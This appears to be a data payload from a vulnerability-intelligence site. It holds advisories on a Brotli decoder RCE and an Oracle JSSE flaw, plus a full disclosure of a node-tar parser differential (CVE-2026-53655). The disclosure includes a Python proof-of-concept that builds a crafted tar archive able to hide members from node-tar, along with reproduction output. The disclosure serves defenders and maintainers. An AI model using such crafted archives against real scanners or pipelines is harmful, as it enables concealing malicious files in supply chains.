[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2026-53655":30,"landing-articles":72},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":37,"cwes":38,"cpes":40,"technologies":44,"references":47,"score":50,"epss_score":51,"epss_percentile":52,"is_kev":37,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":53,"attack_mappings":63,"exploits":70},358938,"CVE-2026-53655","EUVD-2026-38255","node-tar applies PAX size override to intermediary GNU long-name\u002Flong-link headers, causing tar parser interpretation differential (file smuggling)\n\n### Summary\n\n`tar` (node-tar) applies a PAX extended header's `size=` record (and other PAX\noverrides) to the **next header entry of any type**, including intermediary\nmetadata headers such as a GNU long-name (`L`) or long-link (`K`) entry. Per\nPOSIX pax, a PAX extended header (`x`) describes the *next file entry*, not the\nintermediary extension headers that may sit between the `x` header and the file\nit annotates. Because node-tar lets the PAX `size` override the byte length of\nan intervening `L`\u002F`K`\u002F`x` header, an attacker can desynchronize node-tar's\nstream cursor relative to every other mainstream tar implementation\n(GNU tar, libarchive\u002Fbsdtar, Python `tarfile`, and the now-fixed `tar-rs` \u002F\n`astral-tokio-tar`).\n\nThe result is a tar parser **interpretation differential** (CWE-436): a single\ncrafted archive yields a different set of members under node-tar than under the\nreference tar tools. An attacker can use this to hide a member from one parser\nwhile it is visible to another, which defeats security tooling whose scanner and\nextractor disagree on archive contents (e.g. a malware\u002Fsecret scanner that lists\nentries with one library while a downstream step extracts with another). node-tar\nis one of the most widely deployed JavaScript tar libraries (it backs `npm`'s own\npackage-tarball handling and is a transitive dependency of a very large fraction\nof the npm ecosystem), so the blast radius for \"files that extract differently\ndepending on the tool\" is broad.\n\nThis is the same root cause and fix that was just addressed upstream in the Rust\ntar ecosystem (`tar-rs` \u002F `astral-tokio-tar`); node-tar carries the equivalent\ndefect and has no equivalent guard.\n\n### Impact\n\n- CWE-436 Interpretation Conflict \u002F inconsistent tar parsing (the same class as\n  the prior tar \"smuggling\" advisories GHSA-j5gw-2vrg-8fgx and\n  GHSA-fp55-jw48-c537).\n- A crafted archive can present one logical member list to a tool that lists or\n  scans with node-tar and a different member list to GNU tar \u002F libarchive \u002F\n  Python tarfile (and vice versa). This lets a malicious file be hidden from a\n  scanner that uses a different parser than the eventual extractor, or hidden\n  from node-tar-based inspection while still landing on disk via a system `tar`.\n- No authentication is required; the only precondition is that a victim parses\n  an attacker-supplied tar with node-tar. Tar archives are routinely fetched\n  from untrusted sources (package registries, user uploads, CI artifacts,\n  container layers).\n- Severity: Medium. Impact is integrity-of-archive-interpretation, not direct\n  RCE; it is a building block for supply-chain \u002F scanner-evasion attacks rather\n  than a standalone code-execution primitive.\n\n### Vulnerable code (file:line)\n\n`src\u002Fheader.ts` (compiled to `dist\u002Fesm\u002Fheader.js:49` and\n`dist\u002Fcommonjs\u002Fheader.js:85` in the published `tar@7.5.15`):\n\n```ts\n\u002F\u002F Header.decode(buf, off, ex, gex)\nthis.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12)\n```\n\n`ex` is the currently-accumulated PAX **local** extended header and `gex` the\nPAX **global** header. The `size` override from `ex`\u002F`gex` is applied\nunconditionally to whatever header is being decoded next — there is no check\nthat the header being decoded is a real *file* entry rather than an intermediary\nextension header.\n\n`src\u002Fparse.ts`, `[CONSUMEHEADER]` constructs the next header with the current\n`EX`\u002F`GEX` applied:\n\n```ts\nconst header = new Header(chunk, position, this[EX], this[GEX])\n```\n\nand later branches on whether that header is a metadata entry. `this[EX]` is\ncleared only in the non-meta (real file) branch:\n\n```ts\nif (entry.meta) {\n  \u002F\u002F L \u002F K \u002F x \u002F g metadata entries: this[EX] is left intact here\n  if (entry.size > this.maxMetaEntrySize) {\n    entry.ignore = true\n    this[STATE] = 'ignore'\n    entry.resume()\n  } else if (entry.size > 0) {\n    this[META] = ''\n    entry.on('data', c => (this[META] += c))\n    this[STATE] = 'meta'\n  }\n} else {\n  this[EX] = undefined   \u002F\u002F EX cleared only once a real file entry is reached\n}\n```\n\nWhen the stream is ordered `x (PAX, size=N) -> L (GNU long-name) -> file`, the\n`L` header is constructed with `this[EX]` still set, so its `size`\u002F`remain`\nbecomes `N` instead of the `L` payload's true length. node-tar then consumes `N`\nbytes of \"metadata\" and resumes header parsing at the wrong offset, landing\nmid-stream. Every other mainstream parser applies the PAX `size` only to the\nfollowing *file* entry, so they stay synchronized.\n\nThe correct behavior (and the fix shipped upstream in the Rust tar ecosystem) is\nto **not** apply PAX `size`\u002Foverrides when the entry being decoded is itself an\nextension header (`L` GNU long-name, `K` GNU long-link, `x` PAX local, `g` PAX\nglobal).\n\n### How input reaches the sink\n\n`tar.list()`, `tar.extract()`\u002F`tar.x()`, and `tar.Parse`\u002F`tar.Unpack` all route\nevery 512-byte header block through `Header.decode(...)` with the\ncurrently-accumulated `EX`\u002F`GEX`. Any consumer that parses an attacker-supplied\narchive — `tar.list`, `tar.extract`, or piping into the streaming `Parser` —\nreaches the sink. No options need to be enabled; the default code path is\naffected.\n\n### Proof of concept\n\nArchive layout (all standard, GNU-tar-producible blocks):\n\n```\nblock 0 : x  header  (PAX local extended, typeflag 'x'), its own size = len(pax body)\nblock 1 : x  payload : the single PAX record  \"...size=2048\\n\"\nblock 2 : L  header  (GNU long-name '.\u002F.\u002F@LongLink'), real size = 13\nblock 3 : L  payload : \"longname.txt\\0\"      (the long name for the next file)\nblock 4 : file header 'file_a', size = 16\nblock 5 : file_a body (16 bytes, zero-padded to 512)\nblock 6 : file header 'file_b', size = 16\nblock 7 : file_b body (16 bytes, zero-padded to 512)\n```\n\nGenerator (`make_tar.py`, pure stdlib, no external deps):\n\n```python\ndef hdr(name, size, typeflag):\n    h = bytearray(512); name = name[:100]; h[0:len(name)] = name\n    h[100:108] = b'0000644\\0'; h[108:116] = b'0000000\\0'; h[116:124] = b'0000000\\0'\n    h[124:136] = ('%011o\\0' % size).encode(); h[136:148] = b'00000000000\\0'\n    h[156:157] = typeflag; h[257:263] = b'ustar\\0'; h[263:265] = b'00'\n    h[148:156] = b' ' * 8\n    cs = sum(h); h[148:156] = ('%06o\\0 ' % cs).encode()\n    return bytes(h)\n\ndef pad(d):\n    return d + b'\\0' * ((512 - len(d) % 512) % 512)\n\ndef pax_record(key, val):              # length-prefixed PAX record \"LEN key=val\\n\"\n    body = b' %s=%s\\n' % (key.encode(), str(val).encode()); n = len(body)\n    while True:\n        s = str(n).encode() + body\n        if len(s) == n: break\n        n = len(s)\n    return s\n\npax = pax_record('size', 2048)         # malicious: claim size=2048 for the \"next\" entry\nout  = hdr(b'PaxHeaders\u002Fx', len(pax), b'x') + pad(pax)\nout += hdr(b'.\u002F.\u002F@LongLink', 13, b'L') + pad(b'longname.txt\\0')\nout += hdr(b'file_a', 16, b'0')        + pad(b'AAAA_file_a_body')\nout += hdr(b'file_b', 16, b'0')        + pad(b'BBBB_file_b_body')\nout += b'\\0' * 1024\nopen('pax-desync.tar', 'wb').write(out)\n```\n\nA negative-control archive is identical except the PAX record is\n`pax_record('comment', 'x')` (no `size=`), written to `pax-control.tar`.\n\n### End-to-end reproduction (against pinned version `tar@7.5.15`, latest release)\n\nInstall the published package into a clean project and parse both archives:\n\n```\n$ npm init -y >\u002Fdev\u002Fnull && npm install tar@7.5.15\n$ node -e \"console.log(require('tar\u002Fpackage.json').version)\"\n7.5.15\n$ grep -n \"ex?.size ?? gex?.size\" node_modules\u002Ftar\u002Fdist\u002Fesm\u002Fheader.js\n49:        this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12);\n```\n\n`e2e.mjs`:\n\n```js\nimport * as tar from 'tar'\nasync function listEntries(f){\n  const got=[], warns=[]\n  await tar.list({ file:f, onReadEntry:e=>{ got.push({path:e.path,size:e.size,type:e.type}); e.resume() },\n                   onwarn:(code,_msg)=>warns.push(code) })\n  return { got, warns }\n}\nconst mal = await listEntries('pax-desync.tar')\nconsole.log('MALICIOUS entries :', JSON.stringify(mal.got), 'warnings:', JSON.stringify(mal.warns))\nconst ctl = await listEntries('pax-control.tar')\nconsole.log('CONTROL  entries :', JSON.stringify(ctl.got), 'warnings:', JSON.stringify(ctl.warns))\n```\n\nVerbatim output:\n\n```\n=== Deployed-consumer E2E: npm tar@7.5.15 (latest release) ===\n\n[MALICIOUS] archive = x(PAX size=2048) -> L(GNU longname \"longname.txt\") -> file_a(16B) -> file_b(16B)\n  tar.list() entries : []\n  tar.list() warnings: [\"TAR_ENTRY_INVALID\"]\n\n[NEGATIVE CONTROL] same archive, PAX record is \"comment=x\" (no size= override)\n  tar.list() entries : [{\"path\":\"longname.txt\",\"size\":16,\"type\":\"File\"},{\"path\":\"file_b\",\"size\":16,\"type\":\"File\"}]\n  tar.list() warnings: []\n```\n\nReference parsers on the **same** `pax-desync.tar`:\n\n```\n$ tar tvf pax-desync.tar\n-rw-r--r--  0 0      0        2048 Jan  1  1970 longname.txt          # GNU tar\n\n$ bsdtar tvf pax-desync.tar\n-rw-r--r--  0 0      0        2048 Jan  1  1970 longname.txt          # libarchive\n\n$ python3 -c \"import tarfile; print([m.name for m in tarfile.open('pax-desync.tar').getmembers()])\"\n['longname.txt']                                                      # Python tarfile\n```\n\nInterpretation differential: GNU tar, libarchive (bsdtar), and Python `tarfile`\nall extract the member `longname.txt` from `pax-desync.tar`, whereas node-tar\n`7.5.15` desynchronizes, raises `TAR_ENTRY_INVALID` (checksum failure from\nlanding mid-stream), and reports **zero** members. The negative control proves\nthe divergence is caused solely by the PAX `size=` override being applied to the\nintermediary `L` header — when the same archive carries a PAX record without\n`size=`, node-tar parses it identically to the reference tools\n(`longname.txt`, `file_b`).\n\n### Suggested fix\n\nWhen decoding a header, do not apply PAX `size` (or other PAX overrides) if the\nheader being decoded is itself an extension header. Concretely, in\n`src\u002Fparse.ts` clear\u002Fignore `this[EX]` (and `this[GEX]` for `size`) when the\nheader's type is `ExtendedHeader`, `GlobalExtendedHeader`, `NextFileHasLongPath`\n(GNU `L`), or `NextFileHasLongLinkpath` (GNU `K`); equivalently, in\n`Header.decode`, gate the `ex?.size ?? gex?.size` override on the decoded type\nnot being one of those extension types. This mirrors the upstream Rust fix,\nwhich guards `pax_size` with\n`is_gnu_longname || is_gnu_longlink || is_pax_local_extensions || is_pax_global_extensions`.\n\nA fix PR is being prepared against a private fork and will be linked here.\n\n### Fix PR\n\nTo be linked from a private fork of the repository (the fix will not be pushed\nto any public fork or to upstream during embargo).\n\n### Credits\n\nReported by tonghuaroot.","2026-06-15T17:19:00Z",{},false,[39],"CWE-436",[41,42,43],"cpe:2.3:a:tar:tar:*:*:*:*:*:*:*:*","cpe:2.3:a:tar:tar:7.5.15:*:*:*:*:*:*:*","cpe:2.3:a:isaacs:tar:*:*:*:*:*:node.js:*:*",[45,46],"Tar Tar","Isaacs Tar",[48,49],"https:\u002F\u002Fgithub.com\u002Fisaacs\u002Fnode-tar\u002Fsecurity\u002Fadvisories\u002FGHSA-vmf3-w455-68vh","https:\u002F\u002Fgithub.com\u002Fisaacs\u002Fnode-tar",0,0.00156,0.04739,{"timestamp":54,"automatable":55,"tech_impact":56,"exploitation":57,"cisa_decision":58,"cisa_remediation_timeline":62},"2026-06-23T14:15:18.405283Z","no","partial","poc",{"vector":59,"decision":60,"priority":61},"CISAv1\u002FE:P\u002FA:N\u002FT:P\u002FM:H\u002F2026-10-26T03:34:51.598443\u002F","track_star","medium","60D",[64],{"name":65,"source":66,"tactics":67,"technique_id":69},"Exploitation for Privilege Escalation","attack_vector",[68],"privilege-escalation","T1068",[71],{"link":48},{"count":73,"next":74,"previous":6,"results":75},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[76,84,92],{"id":77,"title":78,"summary":79,"published_at":80,"type":81,"link":82,"image_url":83},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":85,"title":86,"summary":87,"published_at":88,"type":89,"link":90,"image_url":91},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":93,"title":94,"summary":95,"published_at":96,"type":97,"link":98,"image_url":99},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]